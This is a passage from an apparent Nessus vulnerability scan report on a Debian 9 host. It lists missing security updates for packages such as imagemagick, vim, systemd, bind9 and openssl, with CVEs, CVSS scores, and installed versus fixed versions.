6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-3839
CVE	CVE-2019-25059
XREF	IAVB:2019-B-0042-S

Plugin Information

Published: 2022/05/02, Modified: 2022/05/02

Plugin Output

tcp/0

```
Remote package installed : ghostscript_9.26a~dfsg-0+deb9u2
Should be : ghostscript_9.26a~dfsg-0+deb9u9
Remote package installed : libgs9_9.26a~dfsg-0+deb9u2
Should be : libgs9_9.26a~dfsg-0+deb9u9
Remote package installed : libgs9-common_9.26a~dfsg-0+deb9u2
Should be : libgs9-common_9.26a~dfsg-0+deb9u9
```

161205 - Debian DLA-3007-1 : imagemagick - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-3007 advisory.

CVE-2021-3596 A NULL pointer dereference flaw was found in ImageMagick in versions prior to 7.0.10-31 in ReadSVGImage() in coders/svg.c. This issue is due to not checking the return value from libxml2's xmlCreatePushParserCtxt() and uses the value directly, which leads to a crash and segmentation fault.
CVE-2022-28463 ImageMagick is vulnerable to Buffer Overflow. For Debian 9 stretch, these problems have been fixed in version 8:6.9.7.4+dfsg-11+deb9u14. We recommend that you upgrade your imagemagick packages.
For the detailed security status of imagemagick please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/imagemagick Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/imagemagick
https://www.debian.org/lts/security/2022/dla-3007
https://security-tracker.debian.org/tracker/CVE-2021-3596
https://security-tracker.debian.org/tracker/CVE-2022-28463
https://packages.debian.org/source/stretch/imagemagick

Solution

Upgrade the imagemagick packages.

For Debian 9 stretch, these problems have been fixed in version 8

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-3596
CVE	CVE-2022-28463

Plugin Information

Published: 2022/05/14, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : imagemagick_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick_8:6.9.7.4+dfsg-11+deb9u14
Remote package installed : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u14
Remote package installed : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u14
Remote package installed : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u14
Remote package installed : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u14
Remote package installed : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u14
```

161242 - Debian DLA-3011-1 : vim - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-3011 advisory.

- Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. (CVE-2022-0261, CVE-2022-0572)

- Access of Memory Location Before Start of Buffer in GitHub repository vim/vim prior to 8.2.
(CVE-2022-0351)

- Use After Free in GitHub repository vim/vim prior to 8.2. (CVE-2022-0413, CVE-2022-0443)

- Use after free in utf_ptr2char in GitHub repository vim/vim prior to 8.2.4646. (CVE-2022-1154)

- Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution (CVE-2022-1616)

- Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899.
This vulnerabilities are capable of crashing software, modify memory, and possible remote execution (CVE-2022-1619)

- Heap buffer overflow in vim_strncpy find_word in GitHub repository vim/vim prior to 8.2.4919. This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution (CVE-2022-1621)

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/vim
https://www.debian.org/lts/security/2022/dla-3011
https://security-tracker.debian.org/tracker/CVE-2022-0261
https://security-tracker.debian.org/tracker/CVE-2022-0351
https://security-tracker.debian.org/tracker/CVE-2022-0413
https://security-tracker.debian.org/tracker/CVE-2022-0443
https://security-tracker.debian.org/tracker/CVE-2022-0572
https://security-tracker.debian.org/tracker/CVE-2022-1154
https://security-tracker.debian.org/tracker/CVE-2022-1616
https://security-tracker.debian.org/tracker/CVE-2022-1619
https://security-tracker.debian.org/tracker/CVE-2022-1621
https://packages.debian.org/source/stretch/vim

Solution

Upgrade the vim packages.

For Debian 9 stretch, these problems have been fixed in version 2

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.2 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:F/RL:OF/RC:C)

References

CVE	CVE-2022-0261
CVE	CVE-2022-0351
CVE	CVE-2022-0413
CVE	CVE-2022-0443
CVE	CVE-2022-0572
CVE	CVE-2022-1154
CVE	CVE-2022-1616
CVE	CVE-2022-1619
CVE	CVE-2022-1621

Plugin Information

Published: 2022/05/17, Modified: 2023/10/27

Plugin Output

tcp/0

```
Remote package installed : vim-common_2:8.0.0197-4+deb9u1
Should be : vim-common_2:8.0.0197-4+deb9u6
Remote package installed : vim-tiny_2:8.0.0197-4+deb9u1
Should be : vim-tiny_2:8.0.0197-4+deb9u6
Remote package installed : xxd_2:8.0.0197-4+deb9u1
Should be : xxd_2:8.0.0197-4+deb9u6
```

161243 - Debian DLA-3012-1 : libxml2 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-3012 advisory.

Felix Wilhelm discovered that libxml2, the GNOME XML library, did not correctly check for integer overflows or used wrong types for buffer sizes. This could result in out-of-bounds writes or other memory errors when working on large, multi-gigabyte buffers. For Debian 9 stretch, this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u7. We recommend that you upgrade your libxml2 packages. For the detailed security status of libxml2 please refer to its security tracker page at: https://security- tracker.debian.org/tracker/libxml2 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010526
https://security-tracker.debian.org/tracker/source-package/libxml2
https://www.debian.org/lts/security/2022/dla-3012
https://security-tracker.debian.org/tracker/CVE-2022-29824
https://packages.debian.org/source/stretch/libxml2

Solution

Upgrade the libxml2 packages.

For Debian 9 stretch, this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u7.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2022-29824

Plugin Information

Published: 2022/05/17, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libxml2_2.9.4+dfsg1-2.2+deb9u2
Should be : libxml2_2.9.4+dfsg1-2.2+deb9u7
```

161461 - Debian DLA-3016-1 : rsyslog - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-3016 advisory.

- A denial of service vulnerability was found in rsyslog in the imptcp module. An attacker could send a specially crafted message to the imptcp socket, which would cause rsyslog to crash. Versions before 8.27.0 are vulnerable. (CVE-2018-16881)

- Rsyslog is a rocket-fast system for log processing. Modules for TCP syslog reception have a potential heap buffer overflow when octet-counted framing is used. This can result in a segfault or some other malfunction. As of our understanding, this vulnerability can not be used for remote code execution. But there may still be a slight chance for experts to do that. The bug occurs when the octet count is read.

While there is a check for the maximum number of octets, digits are written to a heap buffer even when the octet count is over the maximum, This can be used to overrun the memory buffer. However, once the sequence of digits stop, no additional characters can be added to the buffer. In our opinion, this makes remote exploits impossible or at least highly complex. Octet-counted framing is one of two potential framing modes. It is relatively uncommon, but enabled by default on receivers. Modules `imtcp`, `imptcp`, `imgssapi`, and `imhttp` are used for regular syslog message reception. It is best practice not to directly expose them to the public. When this practice is followed, the risk is considerably lower. Module `imdiag` is a diagnostics module primarily intended for testbench runs. We do not expect it to be present on any production installation. Octet-counted framing is not very common. Usually, it needs to be specifically enabled at senders. If users do not need it, they can turn it off for the most important modules. This will mitigate the vulnerability. (CVE-2022-24903)

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010619
https://security-tracker.debian.org/tracker/source-package/rsyslog
https://www.debian.org/lts/security/2022/dla-3016
https://security-tracker.debian.org/tracker/CVE-2018-16881
https://security-tracker.debian.org/tracker/CVE-2022-24903
https://packages.debian.org/source/stretch/rsyslog

Solution

Upgrade the rsyslog packages.

For Debian 9 stretch, these problems have been fixed in version 8.24.0-1+deb9u2.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.1 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-16881
CVE	CVE-2022-24903

Plugin Information

Published: 2022/05/24, Modified: 2022/05/24

Plugin Output

tcp/0

```
Remote package installed : rsyslog_8.24.0-1
Should be : rsyslog_8.24.0-1+deb9u2
```

161906 - Debian DLA-3044-1 : glib2.0 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-3044 advisory.

- An issue was discovered in GNOME GLib before 2.66.7 and 2.67.x before 2.67.4. If g_byte_array_new_take() was called with a buffer of 4GB or more on a 64-bit platform, the length would be truncated modulo 2**32, causing unintended length truncation. (CVE-2021-27218)

- An issue was discovered in GNOME GLib before 2.66.6 and 2.67.x before 2.67.3. The function g_bytes_new has an integer overflow on 64-bit platforms due to an implicit cast from 64 bits to 32 bits. The overflow could potentially lead to memory corruption. (CVE-2021-27219)

- An issue was discovered in GNOME GLib before 2.66.8. When g_file_replace() is used with G_FILE_CREATE_REPLACE_DESTINATION to replace a path that is a dangling symlink, it incorrectly also creates the target of the symlink as an empty file, which could conceivably have security relevance if the symlink is attacker-controlled. (If the path is a symlink to a file that already exists, then the contents of that file correctly remain unchanged.) (CVE-2021-28153)

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984969
https://security-tracker.debian.org/tracker/source-package/glib2.0
https://www.debian.org/lts/security/2022/dla-3044
https://security-tracker.debian.org/tracker/CVE-2021-27218
https://security-tracker.debian.org/tracker/CVE-2021-27219
https://security-tracker.debian.org/tracker/CVE-2021-28153
https://packages.debian.org/source/stretch/glib2.0

Solution

Upgrade the glib2.0 packages.

For Debian 9 stretch, these problems have been fixed in version 2.50.3-2+deb9u3.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-27218
CVE	CVE-2021-27219
CVE	CVE-2021-28153

Plugin Information

Published: 2022/06/06, Modified: 2023/10/26

Plugin Output

tcp/0

```
Remote package installed : libglib2.0-0_2.50.3-2
Should be : libglib2.0-0_2.50.3-2+deb9u3
Remote package installed : libglib2.0-data_2.50.3-2
Should be : libglib2.0-data_2.50.3-2+deb9u3
```

161940 - Debian DLA-3047-1 : avahi - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-3047 advisory.

- avahi-daemon-check-dns.sh in the Debian avahi package through 0.8-4 is executed as root via /etc/network/if-up.d/avahi-daemon, and allows a local attacker to cause a denial of service or create arbitrary empty files via a symlink attack on files under /run/avahi-daemon. NOTE: this only affects the packaging for Debian GNU/Linux (used indirectly by SUSE), not the upstream Avahi product. (CVE-2021-26720)

- A flaw was found in avahi in versions 0.6 up to 0.8. The event used to signal the termination of the client connection on the avahi Unix socket is not correctly handled in the client_work function, allowing a local attacker to trigger an infinite loop. The highest threat from this vulnerability is to the availability of the avahi

service, which becomes unresponsive after this flaw is triggered.
(CVE-2021-3468)

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984938
https://security-tracker.debian.org/tracker/source-package/avahi
https://www.debian.org/lts/security/2022/dla-3047
https://security-tracker.debian.org/tracker/CVE-2021-26720
https://security-tracker.debian.org/tracker/CVE-2021-3468
https://packages.debian.org/source/stretch/avahi

Solution

Upgrade the avahi packages.

For Debian 9 stretch, these problems have been fixed in version 0.6.32-2+deb9u1.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-3468
CVE	CVE-2021-26720

Plugin Information

Published: 2022/06/08, Modified: 2022/06/08

Plugin Output

tcp/0

```
Remote package installed : libavahi-client3_0.6.32-2
Should be : libavahi-client3_0.6.32-2+deb9u1
Remote package installed : libavahi-common-data_0.6.32-2
Should be : libavahi-common-data_0.6.32-2+deb9u1
Remote package installed : libavahi-common3_0.6.32-2
Should be : libavahi-common3_0.6.32-2+deb9u1
```

162406 - Debian DLA-3053-1 : vim - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-3053 advisory.

Multiple security vulnerabilities have been discovered in vim, an enhanced vi editor. Buffer overflows, out-of-bounds reads and use-after-free may lead to a denial-of-service (application crash) or other unspecified impact. For Debian 9 stretch, these problems have been fixed in version 2:8.0.0197-4+deb9u7.
We recommend that you upgrade your vim packages. For the detailed security status of vim please refer to its security tracker page at: https://security-tracker.debian.org/tracker/vim Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/vim
https://www.debian.org/lts/security/2022/dla-3053
https://security-tracker.debian.org/tracker/CVE-2021-3903
https://security-tracker.debian.org/tracker/CVE-2022-0417
https://security-tracker.debian.org/tracker/CVE-2022-0943
https://security-tracker.debian.org/tracker/CVE-2022-1720
https://security-tracker.debian.org/tracker/CVE-2022-1851
https://security-tracker.debian.org/tracker/CVE-2022-1898
https://security-tracker.debian.org/tracker/CVE-2022-1968
https://security-tracker.debian.org/tracker/CVE-2022-2124
https://security-tracker.debian.org/tracker/CVE-2022-2126
https://packages.debian.org/source/stretch/vim

Solution

Upgrade the vim packages.

For Debian 9 stretch, these problems have been fixed in version 2

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-3903
CVE	CVE-2022-0417
CVE	CVE-2022-0943
CVE	CVE-2022-1720
CVE	CVE-2022-1851
CVE	CVE-2022-1898
CVE	CVE-2022-1968
CVE	CVE-2022-2124
CVE	CVE-2022-2126

Plugin Information

Published: 2022/06/20, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : vim-common_2:8.0.0197-4+deb9u1
Should be : vim-common_2:8.0.0197-4+deb9u7
Remote package installed : vim-tiny_2:8.0.0197-4+deb9u1
Should be : vim-tiny_2:8.0.0197-4+deb9u7
Remote package installed : xxd_2:8.0.0197-4+deb9u1
Should be : xxd_2:8.0.0197-4+deb9u7
```

162623 - Debian DLA-3063-1 : systemd - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-3063 advisory.

- A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages. (CVE-2020-1712)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=950732
https://security-tracker.debian.org/tracker/source-package/systemd
https://www.debian.org/lts/security/2022/dla-3063
https://security-tracker.debian.org/tracker/CVE-2020-1712
https://packages.debian.org/source/stretch/systemd

Solution

Upgrade the systemd packages.

For Debian 9 stretch, this problem has been fixed in version 232-25+deb9u14.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2020-1712

Plugin Information

Published: 2022/06/30, Modified: 2022/06/30

Plugin Output

tcp/0

```
Remote package installed : libpam-systemd_232-25+deb9u11
Should be : libpam-systemd_232-25+deb9u14
Remote package installed : libsystemd0_232-25+deb9u11
Should be : libsystemd0_232-25+deb9u14
Remote package installed : libudev1_232-25+deb9u11
Should be : libudev1_232-25+deb9u14
Remote package installed : systemd_232-25+deb9u11
Should be : systemd_232-25+deb9u14
Remote package installed : systemd-sysv_232-25+deb9u11
Should be : systemd-sysv_232-25+deb9u14
Remote package installed : udev_232-25+deb9u11
Should be : udev_232-25+deb9u14
```

124345 - Debian DSA-4436-1 : imagemagick - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

This update fixes two vulnerabilities in Imagemagick: Memory handling problems and missing or incomplete input sanitising may result in denial of service, memory disclosure or the execution of arbitrary code if malformed TIFF or Postscript files are processed.

See Also

https://security-tracker.debian.org/tracker/source-package/imagemagick
https://packages.debian.org/source/stretch/imagemagick
https://www.debian.org/security/2019/dsa-4436

Solution

Upgrade the imagemagick packages.

For the stable distribution (stretch), these problems have been fixed in version 8:6.9.7.4+dfsg-11+deb9u7.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-10650
CVE	CVE-2019-9956
XREF	DSA:4436

Plugin Information

Published: 2019/04/29, Modified: 2024/05/31

Plugin Output

tcp/0

```
Remote package installed : imagemagick_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick_8:6.9.7.4+dfsg-11+deb9u7
Remote package installed : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u7
Remote package installed : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u7
Remote package installed : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u7
Remote package installed : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u7
Remote package installed : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u7
```

124722 - Debian DSA-4440-1 : bind9 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Multiple vulnerabilities were found in the BIND DNS server :

- CVE-2018-5743 Connection limits were incorrectly enforced.

- CVE-2018-5745 The 'managed-keys' feature was susceptible to denial of service by triggering an assert.

- CVE-2019-6465 ACLs for zone transfers were incorrectly enforced for dynamically loadable zones (DLZs).

See Also

https://security-tracker.debian.org/tracker/CVE-2018-5743
https://security-tracker.debian.org/tracker/CVE-2018-5745
https://security-tracker.debian.org/tracker/CVE-2019-6465
https://security-tracker.debian.org/tracker/source-package/bind9
https://packages.debian.org/source/stretch/bind9

https://www.debian.org/security/2019/dsa-4440

Solution

Upgrade the bind9 packages.

For the stable distribution (stretch), these problems have been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u5.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-5743
CVE	CVE-2018-5745
CVE	CVE-2019-6465
XREF	DSA:4440

Plugin Information

Published: 2019/05/10, Modified: 2020/01/21

Plugin Output

tcp/0

```
Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u5
Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u5
```

124780 - Debian DSA-4442-1 : ghostscript - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

A vulnerability was discovered in Ghostscript, the GPL PostScript/PDF interpreter, which may result in denial of service or the execution of arbitrary code if a malformed Postscript file is processed (despite the -dSAFER sandbox being enabled).

See Also

https://security-tracker.debian.org/tracker/source-package/ghostscript
https://packages.debian.org/source/stretch/ghostscript
https://www.debian.org/security/2019/dsa-4442

Solution

Upgrade the ghostscript packages.

For the stable distribution (stretch), this problem has been fixed in version 9.26a~dfsg-0+deb9u3.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-3839
XREF	DSA:4442

Plugin Information

Published: 2019/05/13, Modified: 2024/05/24

Plugin Output

tcp/0

```
Remote package installed : ghostscript_9.26a~dfsg-0+deb9u2
Should be : ghostscript_9.26a~dfsg-0+deb9u3
Remote package installed : libgs9_9.26a~dfsg-0+deb9u2
Should be : libgs9_9.26a~dfsg-0+deb9u3
Remote package installed : libgs9-common_9.26a~dfsg-0+deb9u2
Should be : libgs9-common_9.26a~dfsg-0+deb9u3
```

125095 - Debian DSA-4444-1 : linux - security update (MDSUM/RIDL) (MFBDS/RIDL/ZombieLoad) (MLPDS/RIDL) (MSBDS/Fallout) -

Synopsis

The remote Debian host is missing a security-related update.

Description

Multiple researchers have discovered vulnerabilities in the way the Intel processor designs have implemented speculative forwarding of data filled into temporary microarchitectural structures (buffers).
This flaw could allow an attacker controlling an unprivileged process to read sensitive information, including from the kernel and all other processes running on the system or cross guest/host boundaries to read host memory.

See https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/mds.htmlfor more details.

To fully resolve these vulnerabilities it is also necessary to install updated CPU microcode. An updated intel-microcode package (only available in Debian non-free) will be provided via a separate DSA. The updated CPU microcode may also be available as part of a system firmware ('BIOS') update.

In addition, this update includes a fix for a regression causing deadlocks inside the loopback driver, which was introduced by the update to 4.9.168 in the last Stretch point release.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928125
https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/mds.html
https://security-tracker.debian.org/tracker/source-package/linux
https://packages.debian.org/source/stretch/linux
https://www.debian.org/security/2019/dsa-4444

Solution

Upgrade the linux packages.

For the stable distribution (stretch), these problems have been fixed in version 4.9.168-1+deb9u2.

Risk Factor

Medium

CVSS v3.0 Base Score

5.6 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.1 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.7 (CVSS2#AV:L/AC:M/Au:N/C:C/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-12126
CVE	CVE-2018-12127
CVE	CVE-2018-12130
CVE	CVE-2019-11091
XREF	DSA:4444
XREF	CEA-ID:CEA-2019-0547
XREF	CEA-ID:CEA-2019-0324

Plugin Information

Published: 2019/05/15, Modified: 2025/03/06

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.168-1+deb9u2

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

126392 - Debian DSA-4475-1 : openssl - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Joran Dirk Greef discovered that overly long nonces used with ChaCha20-Poly1305 were incorrectly processed and could result in nonce reuse. This doesn't affect OpenSSL-internal uses of ChaCha20-Poly1305 such as TLS.

See Also

https://security-tracker.debian.org/tracker/CVE-2019-1543
https://security-tracker.debian.org/tracker/source-package/openssl
https://packages.debian.org/source/stretch/openssl
https://www.debian.org/security/2019/dsa-4475

Solution

Upgrade the openssl packages.

For the stable distribution (stretch), this problem has been fixed in version 1.1.0k-1~deb9u1. This DSA also upgrades openssl1.0 (which itself is not affected by CVE-2019-1543) to 1.0.2s-1~deb9u1

Risk Factor

Medium

CVSS v3.0 Base Score

7.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)

CVSS v3.0 Temporal Score

6.4 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

